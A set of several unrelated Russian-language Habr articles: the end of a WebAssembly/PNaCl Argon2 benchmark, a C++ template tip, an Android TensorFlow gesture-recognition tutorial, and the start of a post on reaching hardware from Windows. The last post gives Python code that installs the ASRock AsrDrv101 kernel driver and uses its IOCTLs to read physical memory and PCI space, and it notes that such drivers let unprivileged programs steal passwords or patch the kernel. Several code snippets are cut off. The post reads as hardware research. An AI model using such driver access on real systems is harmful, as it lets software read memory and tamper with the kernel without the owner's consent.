В MVP WebAssembly не включены pthreads, они появятся только [потом](https://github.com/WebAssembly/design/blob/master/PostMVP.md#threads). Пока сложно сказать, что будет, вобщем, на ближайший год — ответ нет. Но зато WebAssembly можно без проблем использовать в web worker-ах без какой-либо деградации производительности, в чём вы можете убедиться сами на демо-страничке.
PNaCl
=====
Теперь сравним производительность с PNaCl. PNaCl — это тоже формат бинарного кода, разработанный в Google для Chrome и даже включённый по умолчанию. Когда-то предполагалось поддержать его и в других браузерах, но [Mozilla отвергла предложение](https://en.wikipedia.org/wiki/Google_Native_Client#Reception), а другие и не задумывались. Не взлетело.
Итак, PNaCl — это .pexe, который jit-ится в рантайме, сделаем [простой модуль](https://github.com/antelle/argon2-browser/blob/master/init.cc) для него:
```
class Argon2Instance : public pp::Instance {
public:
virtual void HandleMessage(const pp::Var& msg) {
pp::VarDictionary req(msg); // получаем параметры из сообщения
int t_cost = req.Get(pp::Var("time")).AsInt();
// ...
int res = argon2_hash(t_cost, m_cost, parallelism, pwd, pwdlen, salt, saltlen,
hash, hashlen, encoded, encodedlen,
argon2_type == 1 ? Argon2_i : Argon2_d, version);
pp::VarDictionary reply;
reply.Set(pp::Var("res"), res);
PostMessage(reply); // отправляем ответ
}
};
```
Вызвать это можно, внедрив .pexe на страничку в и [отправив](https://github.com/antelle/argon2-browser/blob/master/docs/js/main.js#L46) ему сообщение:
```
// подписываемся на сообщение с результатом
listener.addEventListener('message', e => console.log(e.data));
// отправляем задачу
moduleEl.postMessage({ pwd: 'password', ... });
```
В отличие от WASM, в PNaCl уже сейчас поддерживает и 64-битные типы и pthreads, поэтому работает намного быстрее, по скорости, время работы в 1.5..2 раза больше native-кода. Но это только хром. Грустно тут только время загрузки, которое составляет несколько секунд, а в случае вообще первого использования PNaCl пользователем может вырасти до невменяемых цифр порядка 30 сек.
Графики
=======
Среднее время выполнения кода в разных средах:
Время загрузки и первого выполнения:
Размер кода
===========
| | Code size, KiB | Комментарий |
| --- | --- | --- |
| asm.js | 109 | полностью весь js-ник |
| WebAssembly | 43 | только .wasm, без обёртки |
| PNaCl | 112 | .pexe |
А что насчёт node.js?
=====================
В node.js скомпилировать native-код очень просто уже сейчас, достаточно добавить пару binding-ов. Когда V8 обновится до какой-то версии, node.js можно будет запустить с флагом `--expose-wasm` (пока его поддержка в экспериментальной стадии) и использовать wasm и в ноде. Пока он не загружается, потому что V8 достаточно старый.
Выводы
======
Сейчас разумно использовать asm.js в Firefox и PNaCl в Chrome. WASM уже сейчас достаточно хорош, ко времени MVP, компиляцию в LLVM, скорее всего, доведут до ума, но использовать его, конечно же, рано, даже в nightly-билдах по умолчанию он выключен. Однако производительность wasm уже сейчас показательна и превышает скорость работы asm.js, даже без поддержки i64.
Ссылки
======
* демо: [github](https://antelle.github.io/argon2-browser/)
* код примеров из статьи: [github](https://github.com/antelle/argon2-browser)
* argon2: [github](https://github.com/P-H-C/phc-winner-argon2), [хабр](https://habrahabr.ru/post/281569/), [для нердов](https://github.com/P-H-C/phc-winner-argon2/blob/master/argon2-specs.pdf)
* страничка new llvm wasm backend: [github/binaryen](https://github.com/kripken/emscripten/wiki/New-WebAssembly-Backend) | https://habr.com/ru/post/308874/ | null | ru | null |
# Короткая заметка про шаблоны и смешание выведение типа и явного его задания
Намедни решил написать свою библиотеку для работы с [FITS](https://ru.wikipedia.org/wiki/FITS)-файлами. Да, я знаю, что есть [CCFITS](http://heasarc.gsfc.nasa.gov/fitsio/CCfits/), но хотелось изобрести свой велосипед с… сами знаете.
Одна из возможностей формата — данные можно записывать разных типов в массивы разных размерностей.
Очевидный способ это реализовать это определить что-то типа того:
```
void setBytePix(int value);
void setAxisSize(const std::vector &axis );
```
Однако данная конструкция не слишком удобна. Простой тестовый пример:
```
std::vector srcVector;
srcVector.push_back(1024);
srcVector.push_back(1024);
setAxisSize(srcVector);
```
Если бы вместо std::vector был бы QVector из Qt, все выглядело бы гораздо симпатичнее.
```
setAxisSize(QVector()<<1024<<1024);
```
Но в STL этого нет, а сразу завязываться на Qt при всей моей любви к нему не хотелось бы. Решение было найдено вот в таком стиле:
```
void setAxeSize(int number, int size);
void setNumberDimension(int value);
void setAxisDimensionP(int dimensionNumber, int axisSize){
setAxeSize(dimensionNumber, axisSize);
}
template void setAxisDimensionP(int dimensionNumber, int axisSize, Arguments... args){
setAxeSize(dimensionNumber, axisSize);
++dimensionNumber;
setAxisDimensionP(dimensionNumber, args...);
}
template void setAxisSize(Arguments... args)
{
~~setNumberDimension(sizeof...(args)/sizeof(int));~~ (спсаибо @AxisPod за замечанную ошибку)
setNumberDimension(sizeof...(args));
setAxisDimensionP(0, args...);
}
```
Вот теперь гораздо удобнее:
```
setAxisSize(1024, 1024);
```
Следующим возникло желание шаблонизировать и setBytePix. Сказано — сделано:
```
template void setBytePix(){ setBytePix(sizeof(T)\*8);}
```
Аппетиту растут и теперь хочется вызывать не две функцию, а одну. Выкидываем печальные мысли о крокодилах и модернизируем setAxisSize:
```
template void setAxisSize(Arguments... args)
{
setBytePix();
setNumberDimension(sizeof...(args));
setAxisDimensionP(0, args...);
}
```
А теперь пробуем:
```
setAxisSize(1392,1032);
```
Чудо! Оно работает!
P.S. Использовался MinGW с gcc 4.9.1 | https://habr.com/ru/post/216901/ | null | ru | null |
# Распознавание жестов движений на Android используя Tensorflow
Введение
--------
В сегодняшние дни есть много разных способов взаимодействия со смартфонами: тач-скрин, аппаратные кнопки, сканер отпечатков пальцев, видео камера (например система распознавания лиц), D-PAD, кнопки на гарнитуре, и так далее. Но что насчет использования жестов движений?
Например быстрое перемещение телефона вправо или влево держа его в руке может очень точно отражать намерение перейти на следующую или предыдущую песню в плей-листе. Или же вы можете быстро перевернуть телефон верх ногами и потом назад для обновления контента приложения. Внедрение такого взаимодействия выглядит многообещающим и буквально добавляет новое измерение в UX. Эта статья описывает как реализовать подобное используя машинное обучение и библиотеку Tensorflow для Android.
Описание
--------
Давайте определимся с конечной целью. Хотелось бы чтоб смартфон распознавал быстрые движения влево и вправо.
Также хотелось бы чтоб реализация была в Android библиотеке и ее можно было легко интегрировать в любое другое приложение.
Жесты могут быть записаны на смартфоне используя несколько датчиков: акселерометр, гироскоп, магнитометр, и другие. Позже набор записанных жестов может быть использован в алгоритмах машинного обучения для распознавания.
Для записи данных будет разработано специальное приложение под Android. Препроцессинг и обучение будет производится на ПК в среде Jupyter Notebook используя язык Python и библиотеку TensorFlow. Распознавание жестов будет реализовано в демонстрационном приложении с использованием результатов обучения. В конце, мы разработаем готовую к использования Android библиотеку для распознавания жестов, которая может быть легко интегрирована в другие приложения.
Наш план реализации:
* Собрать данные на телефоне
* Разработать и обучить нейронную сеть
* Экспортировать нейронную сеть на смартфон
* Разработать тестовое приложение для Android
* Разработать Android библиотеку
Реализация
----------
### Подготовка данных
Для начала давайте определимся какие датчики и какой тип данных могут описать наши жесты. Похоже для точного описания этих жестов должны быть использованы и акселерометр и гироскоп.
Акселерометр очевидно измеряет ускорение и соответственно, перемещение:
Акселерометр имеет интересные нюанс — он измеряет не только ускорение непосредственно телефона, но также и [ускорение свободного падения](https://ru.wikipedia.org/wiki/%D0%A3%D1%81%D0%BA%D0%BE%D1%80%D0%B5%D0%BD%D0%B8%D0%B5_%D1%81%D0%B2%D0%BE%D0%B1%D0%BE%D0%B4%D0%BD%D0%BE%D0%B3%D0%BE_%D0%BF%D0%B0%D0%B4%D0%B5%D0%BD%D0%B8%D1%8F) которое приблизительно равно 9.8 м/с2. Это значит что величина вектора ускорения лежащего на на столе телефона будет равна 9.8. Такие значения не могут быть использованы напрямую и должны быть вычтены из значения вектора ускорения свободного падения. Это непростая задача потому что она требует совместной обработки данных магнетометра и акселерометра. К счастью, Android имеет специальный датчик «Линейный Акселерометр» который производит необходимые расчеты и возвращает корректные значения.
Гироскоп, с другой стороны, измеряет вращение:
Попробуем определить, какие значения будут коррелировать с нашими жестами. Очевидно, что в акселерометре (имеется ввиду линейный акселерометр) значения X и Y будут в достаточно большой степени описывать жесты. Значение же Z акселерометра вряд ли будет зависеть от наших жестов.
Что касается датчика гироскопа, кажется, что жесты слегка влияют на ось Z. Однако для упрощения реализации я предлагаю не включать его в расчет. В этом случае наш детектор жестов распознает перемещение телефона не только в руке, но и вдоль горизонтальной линии — например, на столе. Но это не слишком большая проблема.
Таким образом, нам необходимо разработать Android-приложение, которое может записывать данные акселерометра.
Я разработал такое [приложение](https://github.com/ryanchyshyn/motion_gestures_detection/tree/master/GesturesManager). Вот скриншот записанного жеста «вправо»:
Как вы видите, оси X и Y очень сильно реагируют на жест. Ось Z также реагирует, но, как мы решили, она не будет включена в обработку.
Вот жест «влево»:
Обратите внимание, что значения X почти противоположны значениям из предыдущего жеста.
Еще одна вещь, которую нужно упомянуть, — это частота дискретизации данных. Она отражает то, как часто данные обновляются и напрямую влияет на объем данных за интервал времени.
Еще одна вещь, которую следует учитывать — это продолжительность жестов. Это значение, как и многие другие, следует выбирать эмпирически. Я установил, что продолжительность жестов длится не более 1 секунды, но, чтобы сделать значение более подходящим для расчетов, я округлил его до 1.28 секунды.
Выбранная частота обновления данных составляет 128 точек на 1.28 секунды, что дает задержку в 10 миллисекунд (1.28 / 128). Это значения должно быть передано в метод [registerListener](https://developer.android.com/reference/android/hardware/SensorManager.html#registerListener(android.hardware.SensorEventListener,%20android.hardware.Sensor,%20int)).
Идея состоит в том, чтобы обучить нейронную сеть распознаванию таких сигналов в потоке данных с акселерометра.
Итак, дальше нам нужно записать в файлы много семплов жестов. Конечно, один и тот же тип жестов (вправо или влево) должен быть помечен одним и тем-же же тегом. Трудно сказать заранее, сколько образцов необходимо для обучения сети, но это может быть определено в результате обучения.
Тапнув где либо на графике, вы выделите семпл — т.е. участок графика длиной 128 точек:
Теперь кнопка «сохранить» будет активной. Нажатие по ней автоматически сохранит семпл в файле в рабочем каталоге в файл с именем вида «{label}\_{timestamp}.log» Рабочий каталог может быть выбран в меню приложения.
Также обратите внимание, что после сохранения текущего семпла, следующий будет выбран автоматически. Следующий жест выбирается с использованием очень простого алгоритма: найти первую запись абсолютное значение X которой больше 3, затем перемотать назад 20 точек.
Такая автоматизация позволяет нам быстро сохранить много семплов. Я записал по 500 семплов на жест. Сохраненные данные должны быть скопированы на ПК для дальнейшей обработки. (Обработка и обучение прямо на телефоне выглядит интересно, но TensorFlow для Android в настоящее время не поддерживает обучение).
На снимке, представленном ранее, диапазон данных составляет примерно ±6. Однако, если вы сильнее махнете телефоном, он может достичь ±10. Данные лучше нормализовать так, чтоб диапазон был ±1, что намного лучше соответствует формату данных нейронной сети. Для этого я просто разделил все данные на константу — в моем случае 9.
Следующим шагом, который нужно выполнить перед началом обучения, это фильтрация данных для устранения высокочастотных колебаний. Такие колебания не имеют отношения к нашим жестам.
Существует много способов фильтрации данных. Один из них — фильтр [Скользящее среднее](https://ru.wikipedia.org/wiki/%D0%A1%D0%BA%D0%BE%D0%BB%D1%8C%D0%B7%D1%8F%D1%89%D0%B0%D1%8F_%D1%81%D1%80%D0%B5%D0%B4%D0%BD%D1%8F%D1%8F). Вот пример того, как он работает:
Обратите внимание, что максимальные значения X данных теперь составляют половину оригинала. Поскольку мы будем выполнять такую же фильтрацию данных в режиме реального времени во время распознавания, это не должно быть проблемой.
Последним шагом для улучшения обучения является аугментация данных. Этот процесс расширяет исходный набор данных, выполняя некоторые манипуляции. В нашем случае я просто переместил данные влево и вправо на несколько точек:
### Проектирование нейронной сети
Проектирование нейронной сети — не простая задача и требует некоторого опыта и интуиции. С другой стороны, нейронные сети хорошо изучены для некоторых типов задач, и вы можете просто приспособить существующую сеть. Наша задача очень похожа на задачу классификации изображений; вход можно рассматривать как изображение с высотой 1 пиксель (и это так и есть — первая операция преобразует входные двумерных данных [128 столбцов x 2 канала] в трехмерные данные [1 строка x 128 колонок x 2 канала]).
Таким образом, вход нейронной сети это массив [128, 2].
Выход нейронной сети представляет собой вектор с длиной, равной числу меток. В нашем случае это 2 числа с плавающим типом данных двойной точности.
Ниже приведена схема нейронной сети:
И подробная схема, полученная в TensorBoard:
Эта схема содержит некоторые вспомогательные узлы, необходимые только для обучения. Позже я покажу чистую, оптимизированную картину.
### Обучение
Обучение будет проводиться на ПК в среде [Jupyter Notebook](http://jupyter.org/) с использованием Python и библиотеки TensorFlow. Notebook можно запустить в среде [Conda](http://conda.io/docs/user-guide/install/download.html), используя следующий [файл конфигурации](https://github.com/ryanchyshyn/motion_gestures_detection/blob/master/Python/environment.yml). Вот некоторые гипер-параметры обучения:
```
Оптимизатор: Adam
Количество эпох обучения: 3
Скорость обучения (learning rate): 0.0001
```
Набор данных разделен на обучающие и проверочные в соотношении 7 к 3.
Качество обучения можно контролировать с помощью значений точности обучения и тестирования. Точность обучения должна приближаться, но не достигать 1. Слишком низкое значение будет указывать на плохое и неточное распознавание, а слишком высокое значение приведет к переобучению модели и может привести к некоторым артефактам во время распознавания, например, распознавание с ненулевым значением для данных без жестов. Хорошая точность тестирования является доказательством того, что обученная модель может распознавать данные которых раньше никогда не видела.
Протокол обучения:
```
('Epoch: ', 0, ' Training Loss: ', 0.054878365, ' Training Accuracy: ', 0.99829739)
('Epoch: ', 1, ' Training Loss: ', 0.0045060506, ' Training Accuracy: ', 0.99971622)
('Epoch: ', 2, ' Training Loss: ', 0.00088313385, ' Training Accuracy: ', 0.99981081)
('Testing Accuracy:', 0.99954832)
```
Граф TensorFlow и связанные с ним данные можно сохранить в файлы, используя следующие методы:
```
saver = tf.train.Saver()
with tf.Session() as session:
session.run(tf.global_variables_initializer())
# save the graph
tf.train.write_graph(session.graph_def, '.', 'session.pb', False)
for epoch in range(training_epochs):
# train
saver.save(session, './session.ckpt')
```
Полный код можно найти [здесь](https://github.com/ryanchyshyn/motion_gestures_detection/blob/master/Python/training.ipynb).
### Экспорт нейронной сети
Как сохранить данные TensorFlow было показано в предыдущем разделе. Граф сохраняется в файле session.pb, а данные обучения (веса и т.д.) сохраняются в нескольких файлах «session.ckpt». Эти файлы могут быть достаточно большими:
```
session.ckpt.data-00000-of-00001 3385232
session.ckpt.index 895
session.ckpt.meta 65920
session.pb 47732
```
Граф и данные обучения можно заморозить и преобразовать в один файл, подходящий для работы на мобильном устройстве.
Чтобы заморозить его, скопируйте файл tensorflow/python/tools/freeze\_graph.py в каталог скрипта и выполните следующую команду:
```
python freeze_graph.py --input_graph=session.pb \
--input_binary=True \
--input_checkpoint=session.ckpt \
--output_graph=frozen.pb \
--output_node_names=labels_output
```
где output\_graph выходной файл, а output\_node\_names — имя выходного узла. Это значение указывается в коде Python.
Полученный файл меньше предыдущих, но все еще достаточно большой:
`frozen.pb 1130835`
Вот как выглядит эта модель в TensorBoard:
Чтобы получить такое изображение, скопируйте файл tensorflow/python/tools/import\_pb\_to\_tensorboard.py в каталог скрипта и запустите:
```
python import_pb_to_tensorboard.py --model_dir=frozen.pb --log_dir=tmp
```
где frozen.pb — файл модели.
Теперь запустите TensorBoard:
```
tensorboard --logdir=tmp
```
Существует несколько способов [оптимизации модели](https://www.tensorflow.org/versions/master/mobile/prepare_models) для мобильной среды. Чтобы запустить описанные далее команды, вам необходимо скомпилировать TensorFlow из [исходников](https://www.tensorflow.org/install/install_sources):
1. Удаление неиспользуемых узлов и общая оптимизация. Выполните:
```
bazel build tensorflow/tools/graph_transforms:transform_graph
bazel-bin/tensorflow/tools/graph_transforms/transform_graph --in_graph=mydata/frozen.pb --out_graph=mydata/frozen_optimized.pb --inputs='x_input' --outputs='labels_output' --transforms='strip_unused_nodes(type=float, shape="128,2") remove_nodes(op=Identity, op=CheckNumerics) round_weights(num_steps=256) fold_constants(ignore_errors=true) fold_batch_norms fold_old_batch_norms'
```
Результат:
2. Квантование (конвертирование формата данных с плавающей запятой в 8-битный целочисленный формат). Выполните:
```
bazel-bin/tensorflow/tools/graph_transforms/transform_graph --in_graph=mydata/frozen_optimized.pb --out_graph=mydata/frozen_optimized_quant.pb --inputs='x_input' --outputs='labels_output' --transforms='quantize_weights strip_unused_nodes'
```
В результате выходной файл имеет размер 287129 байт по сравнению с исходным 3,5 МБ. Этот файл можно использовать в TensorFlw для Android.
### Демонстрационное приложение для Android
Чтобы выполнить распознавание сигналов в приложении Android, необходимо подключить библиотеку TensorFlow для Android в проект. Добавьте библиотеку к зависимостям gradle:
```
dependencies {
implementation 'org.tensorflow:tensorflow-android:1.4.0'
}
```
Теперь вы можете получить доступ к API TensorFlow через класс TensorFlowInferenceInterface. Сначала поместите файл «frozen\_optimized\_quant.pb» в каталог «assets» вашего приложения (т.е. «app/src/main/assets») и загрузите его в коде (например, при запуске Activity, однако, как обычно, лучше производить любые операции ввода/вывода в фоновом потоке):
```
inferenceInterface = new TensorFlowInferenceInterface(getAssets(), “file:///android_asset/frozen_optimized_quant.pb”);
```
Обратите внимание, как указан файл модели.
Наконец, можно выполнить распознавание:
```
float[] data = new float[128 * 2];
String[] labels = new String[]{"Right", "Left"};
float[] outputScores = new float[labels.length];
// populate data array with accelerometer data
inferenceInterface.feed("x_input", data, new long[] {1, 128, 2});
inferenceInterface.run(new String[]{“labels_output”});
inferenceInterface.fetch("labels_output", outputScores);
```
Данные поступают на вход нашего «черного ящика» в виде одномерного массива, содержащего последовательные данные X и Y акселерометра, то есть формат данных [x1, y1, x2, y2, x3, y3, ..., x128, y128].
На выходе мы имеем два числа с плавающей запятой в диапазоне 0...1, значения которых — это соответствие входных данных жестам «влево» или «вправо». Обратите внимание, что сумма этих значений равна 1. Таким образом, например, если входной сигнал не совпадает ни с левым, ни с правым жестом, то выход будет близок к [0,5, 0,5]. Для упрощения лучше преобразовать эти значения в абсолютные значения 0...1, используя простую математику.
Кроме того, не забываем выполнить фильтрацию и нормализацию данных перед запуском распознавания.
Вот скриншот окна тестирования демонстрационного приложения:
где красные и зеленые линии представляют собой предварительно обработанный сигнал в режиме реального времени. Желтые и голубые линии относятся к «исправленным» «правым» и «левым» жестам соответственно. «Время» — это время обработки одного семпла, и оно довольно низкое, что позволяет выполнять распознавание в реальном времени (два миллисекунды означают, что обработка может выполняться со скоростью 500 Гц, мы же настроили акселерометр на обновление со скоростью 100 Гц).
Как вы можете видеть, есть некоторые нюансы. Во-первых, существуют некоторые ненулевые значения распознавания даже для «пустого» сигнала. Во-вторых, каждый жест имеет длительное «истинное» распознавание в центре со значением, близким к 1.0, и небольшим противоположным распознаванием по краям.
Похоже, для выполнения точного фактического распознавания жестов требуется дополнительная обработка.
### Библиотека под Android
Я реализовал распознавание с помощью TensorFlow вместе с дополнительной обработкой выходных данных в отдельной библиотеке под Android. Библиотека и демонстрационное приложение находятся [здесь](https://github.com/ryanchyshyn/motion_gestures_detection/tree/master/MotionGesturesDemo).
Чтобы использовать библиотеку в своем приложении, добавьте зависимость на библиотеку в файл gradle:
```
repositories { maven { url "https://dl.bintray.com/rii/maven/" } }
dependencies {
...
implementation 'uk.co.lemberg:motiondetectionlib:1.0.0'
}
```
создайте MotionDetector слушатель:
```
private final MotionDetector.Listener gestureListener = new MotionDetector.Listener() {
@Override
public void onGestureRecognized(MotionDetector.GestureType gestureType) {
Log.d(TAG, "Gesture detected: " + gestureType);
}
};
```
и включите распознавание:
```
MotionDetector motionDetector = new MotionDetector(context, gestureListener);
motionDetector.start();
```
Заключение
----------
Мы прошли все этапы разработки и внедрения распознавания жестов движения в приложении Android, используя библиотеку TensorFlow: сбор и предварительную обработку данных, разработку и обучение нейронной сети, а также разработку тестового приложения и готовой к использованию библиотеки для Android. Описанный подход может использоваться для любых других задач распознавания или классификации. Полученная библиотека может быть интегрирована в любое другое приложение для Android, чтобы сделать возможным управление ним с помощью жестов движения.
Надеюсь, вы нашли эту статью полезной, вы также можете посмотреть видео обзор ниже.
Если у вас есть идея проекта, но не знаете, с чего начать, [мы всегда здесь, чтобы Вам помочь](https://lemberg.co.uk/contact-us).
P.S. На самом деле я также являюсь и автором оригинальной англоязычной версии статьи, которая была опубликована на [blog.lemberg.co.uk](http://blog.lemberg.co.uk/), так что могу ответить на технические вопросы. | https://habr.com/ru/post/346766/ | null | ru | null |
# Windows: достучаться до железа
Меня всегда интересовало низкоуровневое программирование – общаться напрямую с оборудованием, жонглировать регистрами, детально разбираться как что устроено... Увы, современные операционные системы максимально изолируют железо от пользователя, и просто так в физическую память или регистры устройств что-то записать нельзя. Точнее я так думал, а на самом деле оказалось, что чуть ли не каждый производитель железа так делает!
В чём суть, капитан?
--------------------
В архитектуре x86 есть понятие «колец защиты» («Ring») – режимов работы процессора. Чем ниже номер текущего режима, тем больше возможностей доступно исполняемому коду. Самым ограниченным «кольцом» является «Ring 3», самым привилегированным – «Ring -2» (режим SMM). Исторически сложилось, что все пользовательские программы работают в режиме «Ring 3», а ядро ОС – в «Ring 0»:
Режимы работы x86 процессораВ «Ring 3» программам запрещены потенциально опасные действия, такие как доступ к I/O портам и физической памяти. По логике разработчиков, настолько низкоуровневый доступ обычным программам не нужен. Доступ к этим возможностям имеют только операционная система и её компоненты (службы и драйверы). И всё бы ничего, но однажды я наткнулся на программу RW Everything:
RW Everything действительно читает и пишет практически всёЭта программа была буквально напичкана именно теми функциями, которые обычно запрещаются программам «Ring 3» - полный доступ к физической памяти, I/O портам, конфигурационному пространству PCI (и многое другое). Естественно, мне стало интересно, как это работает. И выяснилось, что RW Everything устанавливает в систему прокси-драйвер:
Смотрим последний установленный драйвер через OSR Driver LoaderПрокси-драйвера
---------------
В итоге получается обходной манёвр – всё, что программе запрещено делать, разработчик вынес в драйвер, программа устанавливает драйвер в систему и уже через него программа делает, что хочет! Более того – выяснилось, что RW Everything далеко не единственная программа, которая так делает. Таких программ не просто много, они буквально повсюду. У меня возникло ощущение, что каждый уважающий себя производитель железа имеет подобный драйвер:
* Софт для обновления BIOS (Asrock, Gigabyte, HP, Dell, AMI, Intel, Insyde…)
* Софт для разгона и конфигурации железа (AMD, Intel, ASUS, ASRock, Gigabyte)
* Софт для просмотра сведений о железе (CPU-Z, GPU-Z, AIDA64)
* Софт для обновления PCI устройств (Nvidia, Asmedia)
Во многих из них практически та же самая модель поведения – драйвер получает команды по типу «считай-ка вот этот физический адрес», а основная логика – в пользовательском софте. Ниже в табличке я собрал некоторые прокси-драйвера и их возможности:
Результаты краткого анализа пары десятков драйверов. Могут быть ошибки!Небольшая легенда:
* Mem – чтение / запись физической памяти
* PCI – чтение / запись PCI Configuration Space
* I/O – чтение / запись портов I/O
* Alloc – аллокация и освобождение физической памяти
* Map – прямая трансляция физического адреса в вирутальный
* MSR – чтение / запись x86 MSR (Model Specific Register)
Жёлтым обозначены возможности, которых явно нет, но их можно использовать через другие (чтение или маппинг памяти). Мой фаворит из этого списка – AsrDrv101 от ASRock. Он устроен наиболее просто и обладает просто огромным списком возможностей, включая даже функцию поиска шаблона по физической памяти (!!)
Неполный перечень возможностей AsrDrv101* Чтение / запись RAM
* Чтение / запись IO
* Чтение / запись PCI Configuration Space
* Чтение / запись MSR (Model-Specific Register)
* Чтение / запись CR (Control Register)
* Чтение TSC (Time Stamp Counter)
* Чтение PMC (Performance Monitoring Counter)
* Чтение CPUID
* Alloc / Free физической памяти
* Поиск по физической памяти
Самое нехорошее в такой ситуации - если подобный драйвер остаётся запущенным на ПК пользователя, для обращения к нему не нужно даже прав администратора! То есть любая программа с правами пользователя сможет читать и писать физическую память - хоть пароли красть, хоть ядро пропатчить. Именно на это уже [ругались другие исследователи](https://habr.com/ru/company/dsec/blog/468691/). Представьте, что висящая в фоне софтина, красиво моргающая светодиодиками на матплате, [открывает доступ](https://www.cvedetails.com/cve/CVE-2018-10710/) ко всей вашей системе. Или вирусы намеренно [ставят подобный драйвер](https://habr.com/ru/news/t/487642/), чтобы закрепиться в системе. Впрочем, любой мощный инструмент можно в нехороших целях использовать.
Через Python в дебри
--------------------
Конечно же я захотел сделать свой небольшой "тулкит" для различных исследований и экспериментов на базе такого драйвера. Причём на Python, мне уж очень нравится, как просто выглядит реализация сложных вещей на этом языке.
Первым делом нужно установить драйвер в систему и запустить его. Делаем "как положено" и сначала кладём драйвер (нужной разрядности!) в System32:
```
#puts the driver into Windows/System32/drivers folder
def SaveDriverFile(self):
winPath = os.environ['WINDIR']
sys32Path = os.path.join(winPath, "System32")
targetPath = os.path.join(sys32Path, "drivers\\" + self.name + ".sys")
file_data = open(self.file_path, "rb").read()
open(targetPath, "wb").write(file_data)
```
*Раньше в похожих ситуациях я извращался с папкой %WINDIR%\Sysnative, но почему-то на моей текущей системе такого алиаса не оказалось, хотя Python 32-битный. (по идее, на 64-битных системах обращения 32-битных программ к папке System32 перенаправляются в папку SysWOW64, и чтобы положить файлик именно в System32, нужно обращаться по имени Sysnative).*
Затем регистрируем драйвер в системе и запускаем его:
```
#registers the driver for further startup
def RegisterDriver(self):
serviceManager = win32service.OpenSCManager(None, None,
win32service.SC_MANAGER_ALL_ACCESS)
driverPath = os.path.join(os.environ['WINDIR'], 'system32\\drivers\\' +
self.name + '.sys')
serviceHandle = win32service.CreateService(serviceManager,self.name,self.name,
win32service.SERVICE_ALL_ACCESS,
win32service.SERVICE_KERNEL_DRIVER,
win32service.SERVICE_DEMAND_START,
win32service.SERVICE_ERROR_NORMAL,
driverPath, None,0,None,None,None)
win32service.CloseServiceHandle(serviceManager)
win32service.CloseServiceHandle(serviceHandle)
#starts the driver
def RunDriver(self):
win32serviceutil.StartService(self.name)
```
А дальше запущенный драйвер создаёт виртуальный файл (кстати, та самая колонка "имя" в таблице с анализом дров), через запросы к которому и осуществляются дальнейшие действия:
И ещё одна полезная программа для ползания по системе, WinObjТоже ничего особенного, открываем файл и делаем ему IoCtl:
```
#tries to open the driver by name
def OpenDriver(self):
handle = win32file.CreateFile("\\\\.\\" + self.name,
win32file.FILE_SHARE_READ |
win32file.FILE_SHARE_WRITE,
0, None, win32file.OPEN_EXISTING,
win32file.FILE_ATTRIBUTE_NORMAL |
win32file.FILE_FLAG_OVERLAPPED,
None)
if handle == win32file.INVALID_HANDLE_VALUE:
return None
return handle
#performs IOCTL!
def IoCtl(self, ioctlCode, inData, outLen=0x1100):
out_buf = win32file.DeviceIoControl(self.dh,ioctlCode,inData,outLen,None)
return out_buf
```
Вот здесь чутка подробнее. Я долго думал, как же обеспечить адекватную обработку ситуации, когда таких "скриптов" запущено несколько. Не останавливать драйвер при выходе нехорошо, в идеале нужно смотреть, не использует ли драйвер кто-то ещё и останавливать его только если наш скрипт "последний". Долгие упорные попытки получить количество открытых ссылок на виртуальный файл драйвера ни к чему не привели (я получал только количество ссылок в рамках своего процесса). Причём сама система точно умеет это делать - при остановке драйвера с открытым файлом, он остаётся висеть в "Pending Stop". Если у кого есть идеи - буду благодарен.
В конечном итоге я "подсмотрел", как это делают другие программы. Выяснилось, что большинство либо не заморачиваются, либо просто ищут запущенные процессы с тем же именем. Но одна из исследованных программ имела кардинально другой подход, который я себе и перенял. Вместо того, чтобы переживать по количеству ссылок на файл, просто на каждый запрос открываем и закрываем файл! А если файла нет, значит кто-то остановил драйвер и пытаемся его перезапустить:
```
#perform IOCTL!
def IoCtl(self, ioctlCode, inData, outLen=0x1100):
#open driver file link
driverHandle = self.OpenDriver()
if driverHandle is None:
self.ReinstallDriver()
driverHandle = self.OpenDriver()
#second try
if driverHandle is None:
return None
#perform IOCTL
out_buf = win32file.DeviceIoControl(driverHandle,ioctlCode,inData,outLen,None)
#close driver file link
win32file.CloseHandle(driverHandle)
return out_buf
```
А дальше просто реверсим драйвер и реализуем все нужные нам вызовы:
```
class PmxInterface:
def __init__(self):
self.d = PmxDriver("AsrDrv101")
def MemRead(self, address, size, access=U8):
buf = ctypes.c_buffer(size)
request = struct.pack("
```
И вуаля:
Легко и непринуждённо в пару команд читаем физическую памятьPCI Express Config Space
------------------------
Немного отвлечёмся на один нюанс про PCIE Config Space. С этим адресным пространством не всё так просто - со времён шины PCI для доступа к её конфигурационному пространству используется метод с использованием I/O портов 0xCF8 / 0xCFC. Он применён и в нашем драйвере AsrDrv101:
Чтение и запись PCI Config SpaceНо через этот метод доступны только 0x100 байт конфигурационного пространства, в то время как в стандарте PCI Express размер Config Space у устройств может быть достигать 0x1000 байт! И полноценно вычитать их можно только обращением к PCI Extended Config Space, которая замаплена где-то в адресном пространстве, обычно чуть пониже BIOS:
Адресное пространство современного x86 компа, 0-4 ГБНа чипсетах Intel (ну, в их большинстве) указатель на эту область адресного пространства можно взять из конфига PCI устройства 0:0:0 по смещению 0x60, подробнее описано в даташитах:
У AMD я такого не нашёл (наверняка есть, плохо искал), но сам факт неуниверсальности пнул меня в сторону поиска другого решения. Погуглив стандарты, я обнаружил, что указатель на эту область передаётся системе через ACPI таблицу [MCFG](https://wiki.osdev.org/PCI_Express)
А сами ACPI таблицы можно найти через запись [RSDP](https://wiki.osdev.org/RSDP), поискав её сигнатуру по адресам 0xE0000-0xFFFFF, а затем распарсив табличку [RSDT](https://wiki.osdev.org/RSDT). Отлично, здесь нам и пригодится функционал поиска по памяти. Получаем нечто такое:
```
rsdp = self.PhysSearch(0xE0000, 0x20000, b"RSD PTR ", step=0x10)
#use rsdt only for simplicity
rsdt = self.MemRead32(rsdp + 0x10)
(rsdtSign, rsdtLen) = struct.unpack("
```
На всякий случай оставляем вариант для чипсетов Intel
```
if self.PciRead16(PciAddress(0,0,0,0)) == 0x8086:
#try intel way
pciexbar = self.PciRead64(PciAddress(0,0,0,0x60))
if pciexbar & 1:
self.pciMmTopBus = (1 << (8 - ((pciexbar >> 1) & 3))) - 1
self.pciMmAddress = pciexbar & 0xFFFF0000
```
Всё, теперь осталось при необходимости заменить чтение PCI Express Config Space через драйвер на чтение через память. Теперь-то разгуляемся!
Читаем BIOS
-----------
